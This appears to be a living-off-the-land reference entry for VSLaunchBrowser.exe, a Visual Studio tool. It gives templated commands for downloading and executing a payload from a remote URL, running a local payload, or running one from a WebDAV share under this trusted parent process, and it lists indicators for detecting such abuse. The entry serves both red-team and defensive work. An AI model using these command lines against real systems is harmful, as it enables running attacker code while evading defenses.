VSLaunchBrowser.exe
Microsoft Visual Studio browser launcher tool for web applications debugging
Full path
C:\Program Files\Microsoft Visual Studio\<version>\Community\Common7\IDE\VSLaunchBrowser.exe
C:\Program Files (x86)\Microsoft Visual Studio\<version>\Community\Common7\IDE\VSLaunchBrowser.exeCommands
It will download a remote file to INetCache and open it using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.
VSLaunchBrowser.exe .exe {REMOTEURL:.exe}Download and execute payload from remote server
os: Windows
It will open a local file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.
VSLaunchBrowser.exe .exe {PATH_ABSOLUTE:.exe}Execute payload via VSLaunchBrowser as parent process
os: Windows
It will open a remote file using the default app associated with the supplied file extension with VSLaunchBrowser as parent process.
VSLaunchBrowser.exe .exe {PATH_SMB}Execute payload from WebDAV server via VSLaunchBrowser as parent process
os: Windows
Detection
- IOCcmd.exe as sub-process of VSLaunchBrowser
- IOCURL on a VSLaunchBrowser command line
- IOCVSLaunchBrowser making unexpected network connections or DNS requests
acknowledgement: Avihay Eldad @AvihayEldad